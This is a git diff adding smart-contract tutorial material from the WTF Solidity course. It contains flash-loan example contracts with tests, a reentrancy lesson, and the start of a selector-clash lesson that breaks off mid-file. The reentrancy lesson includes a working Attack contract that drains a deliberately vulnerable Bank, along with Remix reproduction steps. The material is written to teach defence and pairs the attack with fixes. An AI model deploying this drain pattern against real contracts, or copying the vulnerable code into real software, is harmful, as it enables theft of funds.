index 000000000..b199ad39b --- /dev/null +++ b/Languages/en/57_Flashloan/src/UniswapV2Flashloan.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2 flash loan callback interface +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2 flash loan contract +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // Flash loan function + function flashloan(uint wethAmount) external { + //The calldata length is greater than 1 to trigger the flash loan callback function + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out is the DAI to be borrowed, amount1Out is the WETH to be borrowed + pair.swap(0, wethAmount, address(this), data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + address token0 = IUniswapV2Pair(msg.sender).token0(); // Get token0 address + address token1 = IUniswapV2Pair(msg.sender).token1(); // Get token1 address + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + // Calculate flashloan fees + // fee / (amount + fee) = 3/1000 + // Rounded up + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + //Repay flash loan + weth.transfer(address(pair), amountToRepay); + } +} diff --git a/Languages/en/57_Flashloan/src/UniswapV3Flashloan.sol b/Languages/en/57_Flashloan/src/UniswapV3Flashloan.sol new file mode 100644 index 000000000..43edffea7 --- /dev/null +++ b/Languages/en/57_Flashloan/src/UniswapV3Flashloan.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3 flash loan callback interface +//Need to implement and rewrite the uniswapV3FlashCallback() function +interface IUniswapV3FlashCallback { + /// In the implementation, you must repay the pool for the tokens sent by flash and the calculated fee amount. + /// The contract calling this method must be checked by the UniswapV3Pool deployed by the official UniswapV3Factory. + /// @param fee0 The fee amount of token0 that should be paid to the pool when the flash loan ends + /// @param fee1 The fee amount of token1 that should be paid to the pool when the flash loan ends + /// @param data Any data passed by the caller is called via IUniswapV3PoolActions#flash + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3 flash loan contract +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address_token1, + uint24_fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // Flash loan function + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == address(pool), "not authorized"); + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + //Repay flash loan + weth.transfer(address(pool), wethAmount + fee1); + } +} diff --git a/Languages/en/57_Flashloan/test/AaveV3Flashloan.t.sol b/Languages/en/57_Flashloan/test/AaveV3Flashloan.t.sol new file mode 100644 index 000000000..9e9504ad0 --- /dev/null +++ b/Languages/en/57_Flashloan/test/AaveV3Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/en/57_Flashloan/test/UniswapV2Flashloan.t.sol b/Languages/en/57_Flashloan/test/UniswapV2Flashloan.t.sol new file mode 100644 index 000000000..0abaec47c --- /dev/null +++ b/Languages/en/57_Flashloan/test/UniswapV2Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/en/57_Flashloan/test/UniswapV3Flashloan.t.sol b/Languages/en/57_Flashloan/test/UniswapV3Flashloan.t.sol new file mode 100644 index 000000000..f8b01e9c8 --- /dev/null +++ b/Languages/en/57_Flashloan/test/UniswapV3Flashloan.t.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // Flash loan loan amount + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/en/README.md b/Languages/en/README.md index e23e24eca..985f1e48c 100644 --- a/Languages/en/README.md +++ b/Languages/en/README.md @@ -1,13 +1,12 @@ ![](../../img/logo2.jpeg) -**[中文版本](https://github.com/AmazingAng/WTF-Solidity)** +**[中文](https://github.com/AmazingAng/WTF-Solidity) / [Español](../es/README.md) / [Português Brasileiro](../pt-br/README.md)** # WTF Solidity +Recently, I have been relearning Solidity, consolidating the finer details, and writing a "WTF Solidity Tutorial" for newbies. Lectures are updated 1~3 times weekly. -Recently, I have been relearning Solidity, consolidating the finer details, and writing a "WTF Solidity Tutorial" for newbies. Lectures are updated 1~3 times weekly. - -Twitter: [@WTFAcademy_](https://twitter.com/WTFAcademy_) | [@0xAA_Science](https://twitter.com/0xAA_Science) +Twitter: [@WTFAcademy\_](https://twitter.com/WTFAcademy_) | [@0xAA_Science](https://twitter.com/0xAA_Science) Community: [Discord](https://discord.gg/5akcruXrsk) | [Website: wtf.academy](https://wtf.academy) @@ -23,11 +22,11 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 3: Function (external/internal/public/private, pure/view, payable)**:[Code](./03_Function_en) | [Tutorial](./03_Function_en/readme.md) -**Chapter 4: Function Return (returns/return)**:[Code](./04_Return_en) | [Tutorial](./04_Return_en/readme.md) +**Chapter 4: Function Return (returns/return)**:[Code](./04_Return_en) | [Tutorial](./04_Return_en/readme.md) **Chapter 5: Data Location (storage/memory/calldata)**:[Code](./05_DataStorage_en) | [Tutorial](./05_DataStorage_en/readme.md) -**Chapter 6: Array and Sruct**:[Code](./06_ArrayAndStruct_en) | [Tutorial](./06_ArrayAndStruct_en/readme.md) +**Chapter 6: Array and Struct**:[Code](./06_ArrayAndStruct_en) | [Tutorial](./06_ArrayAndStruct_en/readme.md) **Chapter 7: Mapping**:[Code](./07_Mapping_en) | [Tutorial](./07_Mapping_en/readme.md) @@ -55,7 +54,7 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 18: Import**:[Code](./18_Import_en) | [Tutorial](./18_Import_en/readme.md) -**Chapter 19: Receive ETH (fallback/receive)**:[Code](./19_Fallback_en) | [Tutorial](./19_Fallback_en/readme.md) +**Chapter 19: Receive ETH (fallback/receive)**:[Code](./19_Fallback_en) | [Tutorial](./19_Fallback_en/readme.md) **Chapter 20: Send ETH (transfer/send/call)**:[Code](./20_SendETH_en) | [Tutorial](./20_SendETH_en/readme.md) @@ -101,7 +100,7 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 40: ERC1155**:[Code](./40_ERC1155_en/) | [Tutorial](./40_ERC1155_en/readme.md) -**Chapter 41: WETH**:[Code](./41_WETH_en/) | [Tutorial](./41_WETH_en/readme.md) +**Chapter 41: WETH**:[Code](./41_WETH_en/) | [Tutorial](./41_WETH_en/readme.md) **Chapter 42: Payment Split**:[Code](./42_PaymentSplit_en/) | [Tutorial](./42_PaymentSplit_en/readme.md) @@ -117,7 +116,6 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 47: Upgradeable Contract**:[Code](./47_Upgrade_en/) | [Tutorial](./47_Upgrade_en/readme.md) - **Chapter 48: Transparent Proxy**:[Code](./48_TransparentProxy_en/) | [Tutorial](./48_TransparentProxy_en/readme.md) **Chapter 49: UUPS**:[Code](./49_UUPS_en/) | [Tutorial](./49_UUPS_en/readme.md) @@ -126,9 +124,42 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 51: ERC4626 Tokenized Vault**:[Code](./51_ERC4626_en/) | [Tutorial](./51_ERC4626_en/readme.md) +## Security + +**Chapter S1: Reentrancy Attack**:[Code](./S01_ReentrancyAttack_en/) | [Tutorial](./S01_ReentrancyAttack_en/readme.md) + +**Chapter S2: Selector Clash**:[Code](./S02_SelectorClash_en/) | [Tutorial](./S02_SelectorClash_en/readme.md) + +**Chapter S3: Centralization**:[Code](./S03_Centralization_en/) | [Tutorial](./S03_Centralization_en/readme.md) + +**Chapter S4: Centralization Risks**:[Code](./S04_Centralization_en/) | [Tutorial](./S04_Centralization_en/readme.md) + +**Chapter S5: Integer Overflow**:[Code](./S05_Overflow_en/) | [Tutorial](./S05_Overflow_en/readme.md) + +**Chapter S6: Signature Replay**:[Code](./S06_SignatureReplay_en/) | [Tutorial](./S06_SignatureReplay_en/readme.md) + +**Chapter S7: Bad Randomness**:[Code](./S07_BadRandomness_en/) | [Tutorial](./S07_BadRandomness_en/readme.md) + +**Chapter S8: Contract Length Check Bypassing**:[Code](./S08_ContractCheck_en/) | [Tutorial](./S08_ContractCheck_en/readme.md) +**Chapter S9: Denial of Service (DoS)**:[Code](./S09_DoS_en/) | [Tutorial](./S09_DoS_en/readme.md) + +**Chapter S10: Honeypot / Pixiu**:[Code](./S10_Honeypot_en/) | [Tutorial](./S10_Honeypot_en/readme.md) + +**Chapter S11: Front-running**:[Code](./S11_Frontrun_en/) | [Tutorial](./S11_Frontrun_en/readme.md) + +**Chapter S12: tx.origin Phishing Attack**:[Code](./S12_TxOrigin_en/) | [Tutorial](./S12_TxOrigin_en/readme.md) + +**Chapter S13: Unchecked Low-Level Calls**:[Code](./S13_UncheckedCall_en/) | [Tutorial](./S13_UncheckedCall_en/readme.md) + +**Chapter S14: Block Timestamp Manipulation**:[Code](./S14_TimeManipulation_en/) | [Tutorial](./S14_TimeManipulation_en/readme.md) + +**Chapter S15: Oracle Manipulation**:[Code](./S15_OracleManipulation_en/) | [Tutorial](./S15_OracleManipulation_en/readme.md) + +**Chapter S16: NFT Reentrancy Attack**:[Code](./S16_NFTReentrancy_en/) | [Tutorial](./S16_NFTReentrancy_en/readme.md) ## WTF Contributors +

Contributors are the basis of WTF Academy @@ -139,6 +170,7 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi

## Reference + - [Solidity Docs](https://docs.soliditylang.org/en/v0.8.17/) - [Solidity By Example](https://solidity-by-example.org/) - [OpenZeppelin Contract](https://github.com/OpenZeppelin/openzeppelin-contracts) @@ -146,4 +178,4 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi - [Chainlink Docs](https://docs.chain.link/) - [Safe Contracts](https://github.com/safe-global/safe-contracts) - [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) -- [rekt news](https://rekt.news/) \ No newline at end of file +- [rekt news](https://rekt.news/) diff --git a/Languages/en/S01_ReentrancyAttack_en/ReentrancyAttack.sol b/Languages/en/S01_ReentrancyAttack_en/ReentrancyAttack.sol new file mode 100644 index 000000000..a9f57c978 --- /dev/null +++ b/Languages/en/S01_ReentrancyAttack_en/ReentrancyAttack.sol @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by 22X +pragma solidity ^0.8.21; + +contract Bank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit Ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all Ether from msg.sender + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; // Get balance + require(balance > 0, "Insufficient balance"); + // Transfer Ether !!! May trigger the fallback/receive function of a malicious contract, posing a reentrancy risk! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + // Update balance + balanceOf[msg.sender] = 0; + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +contract Attack { + Bank public bank; // Address of the Bank contract + + // Initialize the address of the Bank contract + constructor(Bank _bank) { + bank = _bank; + } + + // Callback function used for reentrancy attack on the Bank contract, repeatedly calling the target's withdraw function + receive() external payable { + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + // Attack function, msg.value should be set to 1 ether when calling + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +// Use Checks-Effects-Interactions pattern to prevent reentrancy attack +contract GoodBank { + mapping (address => uint256) public balanceOf; + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // Checks-Effects-Interactions pattern: update balance change first, then send ETH + // In case of reentrancy attack, balanceOf[msg.sender] has already been updated to 0, so it cannot pass the above check. + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + } + + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +// Use reentrant lock to prevent reentrancy attack +contract ProtectedBank { + mapping (address => uint256) public balanceOf; + uint256 private _status; // reentrant lock + + // reentrant lock + modifier nonReentrant() { + // _status will be 0 on the first call to nonReentrant + require(_status == 0, "ReentrancyGuard: reentrant call"); + // Any subsequent calls to nonReentrant will fail + _status = 1; + _; + // Call ends, restore _status to 0 + _status = 0; + } + + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Protect vulnerable function with reentrant lock + function withdraw() external nonReentrant{ + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + balanceOf[msg.sender] = 0; + } + + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + diff --git a/Languages/en/S01_ReentrancyAttack_en/img/S01-1.png b/Languages/en/S01_ReentrancyAttack_en/img/S01-1.png new file mode 100644 index 000000000..c86a9e957 Binary files /dev/null and b/Languages/en/S01_ReentrancyAttack_en/img/S01-1.png differ diff --git a/Languages/en/S01_ReentrancyAttack_en/readme.md b/Languages/en/S01_ReentrancyAttack_en/readme.md new file mode 100644 index 000000000..f0cfd1e45 --- /dev/null +++ b/Languages/en/S01_ReentrancyAttack_en/readme.md @@ -0,0 +1,219 @@ +--- +title: S01. Reentrancy Attack +tags: + - solidity + - security + - fallback + - modifier +--- + +# WTF Solidity S01. Reentrancy Attack + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the most common type of smart contract attack - reentrancy attack, which has led to the Ethereum fork into ETH and ETC (Ethereum Classic), and discuss how to prevent it. + +## Reentrancy Attack + +Reentrancy attack is the most common type of attack in smart contracts, where attackers exploit contract vulnerabilities (such as the fallback function) to repeatedly call the contract, transferring or minting a large number of tokens. + +Some notable reentrancy attack incidents include: + +- In 2016, The DAO contract was subjected to a reentrancy attack, resulting in the theft of 3,600,000 ETH from the contract and the Ethereum fork into the ETH chain and ETC (Ethereum Classic) chain. +- In 2019, the synthetic asset platform Synthetix suffered a reentrancy attack, resulting in the theft of 3,700,000 sETH. +- In 2020, the lending platform Lendf.me suffered a reentrancy attack, resulting in a theft of $25,000,000. +- In 2021, the lending platform CREAM FINANCE suffered a reentrancy attack, resulting in a theft of $18,800,000. +- In 2022, the algorithmic stablecoin project Fei suffered a reentrancy attack, resulting in a theft of $80,000,000. + +It has been 6 years since The DAO was subjected to a reentrancy attack, but there are still several projects each year that suffer multimillion-dollar losses due to reentrancy vulnerabilities. Therefore, understanding this vulnerability is crucial. + +## The Story of `0xAA` Robbing the Bank + +To help everyone better understand, let me tell you a story about how the hacker `0xAA` robbed the bank. + +The bank on Ethereum is operated by robots controlled by smart contracts. When a regular user comes to the bank to withdraw money, the service process is as follows: + +1. Check the user's `ETH` balance. If it is greater than 0, proceed to the next step. +2. Transfer the user's `ETH` balance from the bank to the user and ask if the user has received it. +3. Update the user's balance to `0`. + +One day, the hacker `0xAA` came to the bank and had the following conversation with the robot teller: + +- 0xAA: I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- ... + +In the end, `0xAA` emptied the bank's assets through the vulnerability of reentrancy attack, and the bank collapsed. + +![](./img/S01-1.png) + +## Vulnerable Contract Example + +### Bank Contract + +The bank contract is very simple and includes `1` state variable `balanceOf` to record the Ethereum balance of all users. It also includes `3` functions: + +- `deposit()`: Deposit function that allows users to deposit `ETH` into the bank contract and updates their balances. +- `withdraw()`: Withdraw function that transfers the caller's balance to them. The steps are the same as in the story above: check balance, transfer funds, update balance. **Note: This function has a reentrancy vulnerability!** +- `getBalance()`: Get the `ETH` balance in the bank contract. + +```solidity +contract Bank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit Ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all Ether from msg.sender + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; // Get balance + require(balance > 0, "Insufficient balance"); + // Transfer Ether !!! May trigger the fallback/receive function of a malicious contract, posing a reentrancy risk! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + // Update balance + balanceOf[msg.sender] = 0; + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +### Attack Contract + +One vulnerability point of reentrancy attack is the transfer of `ETH` in the contract: if the target address of the transfer is a contract, it will trigger the fallback function of the contract, potentially causing a loop. If you are not familiar with fallback functions, you can read [WTF Solidity: 19: Receive ETH](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/19_Fallback_en/readme.md). The `Bank` contract has an `ETH` transfer in the `withdraw()` function: + +``` +(bool success, ) = msg.sender.call{value: balance}(""); +``` + +If the hacker re-calls the `withdraw()` function of the `Bank` contract in the `fallback()` or `receive()` function of the attack contract, it will cause the same loop as in the story of `0xAA` robbing the bank. The `Bank` contract will continuously transfer funds to the attacker, eventually emptying the contract's ETH balance. + +```solidity +receive() external payable { + bank.withdraw(); +} +``` + +Below, let's take a look at the attack contract. Its logic is very simple, which is to repeatedly call the `withdraw()` function of the `Bank` contract through the `receive()` fallback function. It has `1` state variable `bank` to record the address of the `Bank` contract. It includes `4` functions: + +- Constructor: Initializes the `Bank` contract address. +- `receive()`: The fallback function triggered when receiving ETH, which calls the `withdraw()` function of the `Bank` contract again in a loop for withdrawal. +- `attack()`: The attack function that first deposits funds into the `Bank` contract using the `deposit()` function, then initiates the first withdrawal by calling `withdraw()`. After that, the `withdraw()` function of the `Bank` contract and the `receive()` function of the attack contract will be called in a loop, emptying the ETH balance of the `Bank` contract. +- `getBalance()`: Retrieves the ETH balance in the attack contract. + +```solidity +contract Attack { + Bank public bank; // Address of the Bank contract + + // Initialize the address of the Bank contract + constructor(Bank _bank) { + bank = _bank; + } + + // Callback function used for reentrancy attack on the Bank contract, repeatedly calling the target's withdraw function + receive() external payable { + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + // Attack function, msg.value should be set to 1 ether when calling + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `Bank` contract and call the `deposit()` function to transfer `20 ETH`. +2. Switch to the attacker's wallet and deploy the `Attack` contract. +3. Call the `attack()` function of the `Attack` contract to launch the attack, and transfer `1 ETH` during the call. +4. Call the `getBalance()` function of the `Bank` contract and observe that the balance has been emptied. +5. Call the `getBalance()` function of the `Attack` contract and see that the balance is now `21 ETH`, indicating a successful reentrancy attack. + +## How to Prevent + +Currently, there are two main methods to prevent potential reentrancy attack vulnerabilities: checks-effect-interaction pattern and reentrant lock. + +### Checks-Effect-Interaction Pattern + +The "Check-Effects-Interactions" pattern emphasizes that when writing functions, you should first check if state variables meet the requirements, then immediately update the state variables (such as balances), and finally interact with other contracts. If we update the balance in the `withdraw()` function of the `Bank` contract before transferring `ETH`, we can fix the vulnerability. + +```solidity +function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // Checks-Effects-Interactions pattern: Update balance before sending ETH + // During a reentrancy attack, balanceOf[msg.sender] has already been updated to 0, so it will fail the above check. + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); +} +``` + +### Reentrant Lock + +The reentrant lock is a modifier that prevents reentrancy attacks. It includes a state variable `_status` that is initially set to `0`. Functions decorated with the `nonReentrant` modifier will check if `_status` is `0` on the first call, then set `_status` to `1`. After the function call completes, `_status` is set back to `0`. This prevents reentrancy attacks by causing an error if the attacking contract attempts a second call before the first call completes. If you are not familiar with modifiers, you can read [WTF Solidity: 11. Modifier](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/11_Modifier_en/readme.md). + +```solidity +uint256 private _status; // Reentrant lock + +// Reentrant lock +modifier nonReentrant() { + // _status will be 0 on the first call to nonReentrant + require(_status == 0, "ReentrancyGuard: reentrant call"); + // Any subsequent calls to nonReentrant will fail + _status = 1; + _; + // Call completed, restore _status to 0 + _status = 0; +} +``` + +Just by using the `nonReentrant` reentrant lock modifier on the `withdraw()` function, we can prevent reentrancy attacks. + +```solidity +// Protect the vulnerable function with a reentrant lock +function withdraw() external nonReentrant{ + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + balanceOf[msg.sender] = 0; +} +``` + +## Summary + +In this lesson, we introduced the most common attack in Ethereum - the reentrancy attack, and made a story of robbing a bank with `0xAA` to help understand it. Finally, we discussed two methods to prevent reentrancy attacks: the checks-effect-interaction pattern and the reentrant lock. In the example, the hacker exploited the fallback function to perform a reentrancy attack during `ETH` transfer in the target contract. In real-world scenarios, the `safeTransfer()` and `safeTransferFrom()` functions of `ERC721` and `ERC1155`, as well as the fallback function of `ERC777`, can also potentially trigger reentrancy attacks. For beginners, my suggestion is to use a reentrant lock to protect all `external` functions that can change the contract state. Although it may consume more `gas`, it can prevent greater losses. diff --git a/Languages/en/S02_SelectorClash_en/SelectorClash.sol b/Languages/en/S02_SelectorClash_en/SelectorClash.sol new file mode 100644 index 000000000..090cb8185 --- /dev/null +++ b/Languages/en/S02_SelectorClash_en/SelectorClash.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by: 22X +pragma solidity ^0.8.21; + +contract SelectorClash { + bool public solved; // Whether the attack is successful + + // The attacker needs to call this function, but the caller msg.sender must be this contract. + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + // Vulnerable, the attacker can collide function selectors by changing the _method variable, call the target function, and complete the attack. + function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); + } + + function secretSlector() external pure returns(bytes4){ + return bytes4(keccak256("putCurEpochConPubKeyBytes(bytes)")); + } + + function hackSlector() external pure returns(bytes4){ + return bytes4(keccak256("f1121318093(bytes,bytes,uint64)")); + } +} \ No newline at end of file diff --git a/Languages/en/S02_SelectorClash_en/img/S02-1.png b/Languages/en/S02_SelectorClash_en/img/S02-1.png new file mode 100644 index 000000000..6929c736c Binary files /dev/null and b/Languages/en/S02_SelectorClash_en/img/S02-1.png differ diff --git a/Languages/en/S02_SelectorClash_en/img/S02-2.png b/Languages/en/S02_SelectorClash_en/img/S02-2.png new file mode 100644 index 000000000..ce6c63bb7 Binary files /dev/null and b/Languages/en/S02_SelectorClash_en/img/S02-2.png differ diff --git a/Languages/en/S02_SelectorClash_en/readme.md b/Languages/en/S02_SelectorClash_en/readme.md new file mode 100644 index 000000000..71883cdd0 --- /dev/null +++ b/Languages/en/S02_SelectorClash_en/readme.md @@ -0,0 +1,100 @@ +--- +title: S02. Selector Clash +tags: + - solidity + - security + - selector + - abi encode +--- + +# WTF Solidity S02. Selector Clash + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: 